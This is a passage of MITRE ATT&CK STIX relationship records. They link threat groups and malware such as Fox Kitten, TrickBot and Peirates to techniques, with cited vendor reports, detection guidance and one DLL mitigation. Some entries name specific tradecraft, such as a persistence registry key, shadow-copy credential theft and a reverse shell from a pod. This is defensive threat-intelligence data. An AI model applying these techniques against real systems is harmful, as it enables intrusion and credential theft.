"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71ae6f80-3d5c-4d61-8995-5844f9f592ed", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}, {"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}, {"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}, {"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-08-31T15:25:13.994Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used PowerShell for execution.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71b17443-ce0b-47c1-bd6a-ec76b95e9211", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Monitor for newly constructed web-based network connections that are sent to malicious or suspicious destinations (e.g. destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, .SCF, HTA, MSI, DLLs, or msiexec.exe).", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71b2b21e-bb44-47eb-85da-7a593419c0c5", "type": "relationship", "created": "2021-06-10T15:45:06.538Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-10T15:45:06.538Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has the ability to rename its payload to ESTCommon.dll to masquerade as a DLL belonging to ESTsecurity.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--71b61f0c-3a56-456f-9e82-5252e243ae38", "created": "2024-03-13T20:41:18.293Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-13T20:41:30.835Z", "description": "[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can communicate over SSL using the private key from the Ivanti Connect Secure web server.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--19256855-65e9-48f2-8b74-9f3d0a994428", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71b92fe6-dd99-4192-b327-8ef27b790123", "type": "relationship", "created": "2020-12-29T16:20:28.524Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T16:20:28.524Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Volume Shadow Copy to access credential information from NTDS.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71bb09bc-0405-43ed-9848-bf685234c670", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis TrickBot Oct 2016", "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"}, {"source_name": "Bitdefender Trickbot C2 infra Nov 2020", "url": "https://www.bitdefender.com/blog/labs/trickbot-is-dead-long-live-trickbot/", "description": "Liviu Arsene, Radu Tudorica. (2020, November 23). TrickBot is Dead. Long Live TrickBot!. Retrieved September 28, 2021."}], "modified": "2021-09-28T22:45:49.547Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses a custom crypter leveraging Microsoft\u2019s CryptoAPI to encrypt C2 traffic.(Citation: Fidelis TrickBot Oct 2016)Newer versions of [TrickBot](https://attack.mitre.org/software/S0266) have been known to use `bcrypt` to encrypt and digitally sign responses to their C2 server. (Citation: Bitdefender Trickbot C2 infra Nov 2020)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--71bc9a2e-4536-4b84-9997-126cc4c065bf", "created": "2023-02-23T20:57:03.088Z", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T20:57:03.089Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can collect information from a compromised host.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71bcc1dc-2392-448a-8133-f126fed08023", "type": "relationship", "created": "2020-01-24T18:38:56.145Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", "source_name": "Microsoft DLL Security"}], "modified": "2020-03-25T16:52:26.824Z", "description": "Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", "relationship_type": "mitigates", "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71c146b5-9afa-41fa-9339-2a6287e7d309", "type": "relationship", "created": "2021-02-17T20:27:27.439Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM MegaCortex", "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}], "modified": "2021-02-17T20:27:27.439Z", "description": "[MegaCortex](https://attack.mitre.org/software/S0576) loads <code>injecthelper.dll</code> into a newly created <code>rundll32.exe</code> process.(Citation: IBM MegaCortex)", "relationship_type": "uses", "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71c512cd-2372-400e-92ea-2c84760b81f5", "type": "relationship", "created": "2021-10-07T21:28:23.986Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-19T00:23:16.080Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) collects contacts and application data from files in Desktop, Documents, Downloads, Dropbox, and WeChat folders.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71c5ab4c-c567-4043-aa8b-3b83a4eb5808", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for unexpected deletions of a running process (ex: Sysmon EID 5 or Windows EID 4689) that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "source_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71cac5bb-2d68-44b8-ae8a-4d159c06ec61", "type": "relationship", "created": "2021-01-20T18:30:30.617Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T21:02:38.497Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>net share</code> and <code>net view</code> to identify network shares of interest.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--71d14fd4-c393-4dd9-9ae3-3970295ac4a5", "created": "2024-03-22T20:15:24.393Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T18:16:43.004Z", "description": "[SocGholish](https://attack.mitre.org/software/S1124) has been named `AutoUpdater.js` to mimic legitimate update files.(Citation: SocGholish-update)", "relationship_type": "uses", "source_ref": "malware--5911d2ca-64f6-49b3-b94f-29b5d185085c", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--71d8ce83-3410-4bf2-b30c-a3aa4c8a931d", "created": "2022-02-08T16:11:38.686Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Peirates GitHub", "url": "https://github.com/inguardians/peirates", "description": "InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Peirates](https://attack.mitre.org/software/S0683) can deploy a pod that mounts its node\u2019s root file system, then execute a command to create a reverse shell on the node.(Citation: Peirates GitHub)", "modified": "2022-04-14T20:57:28.821Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--79dd477a-8226-4b3d-ad15-28623675f221", "target_ref": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71d95d1d-d519-44d8-9177-b01196cf8fe3", "type": "relationship", "created": "2019-04-17T18:43:36.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2020-03-17T02:38:37.713Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses POST and GET requests over HTTP to communicate with its main C&C server. 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Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "source_name": "Unit42 Emissary Panda May 2019"}], "modified": "2021-10-12T19:21:39.023Z", "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Unit42 Emissary Panda May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71db51a2-9968-408c-91b3-8f42a61d0b09", "type": "relationship", "created": "2021-03-05T18:54:56.555Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Higaisa 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}, {"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}], "modified": "2021-03-05T18:54:56.555Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used HTTP and HTTPS to send data back to its C2 server.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71de7fd6-177c-4964-9f2b-eec22937fded", "type": "relationship", "created": "2021-12-06T16:30:49.190Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T20:45:13.815Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--71e7aad7-c81e-4035-bec0-323b7dc51d57", "created": "2023-02-10T18:50:58.308Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "HP SVCReady Jun 2022", "description": "Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.", "url": "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-13T21:46:54.054Z", "description": "[SVCReady](https://attack.mitre.org/software/S1064) has created the `HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{E6D34FFC-AD32-4d6a-934C-D387FA873A19}` Registry key for persistence.(Citation: HP SVCReady Jun 2022)", "relationship_type": "uses", "source_ref": "malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71ec5140-320c-452c-8512-6a787af027c8", "type": "relationship", "created": "2019-04-17T13:46:38.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cofense Astaroth Sept 2018", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019."}, {"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-09T16:28:38.052Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses JavaScript to perform its core functionalities. (Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2020-03-16T16:56:45.651Z", "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DLL side-loading.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71ee0311-3fdc-4baf-8c3e-2143416b742c", "type": "relationship", "created": "2020-03-17T15:01:32.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter", "source_name": "Proofpoint TA505 Sep 2017"}, {"description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times", "source_name": "Proofpoint TA505 June 2018"}, {"source_name": "Proofpoint TA505 Jan 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}, {"description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware", "source_name": "Cybereason TA505 April 2019"}, {"description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat", "source_name": "ProofPoint SettingContent-ms July 2018"}, {"description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", "source_name": "Proofpoint TA505 Mar 2018"}, {"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}, {"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-05-29T20:09:49.528Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to click links in emails and attachments. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. 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Retrieved August 12, 2020."}], "modified": "2020-08-13T14:05:45.015Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can upload, download, and execute files on the victim.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--728302b6-f61c-40f1-9a78-926d785a3692", "created": "2023-09-26T18:42:32.075Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-26T18:42:32.075Z", "description": "[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has exploited CVE-2021-1732 to execute malware components with elevated rights.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": 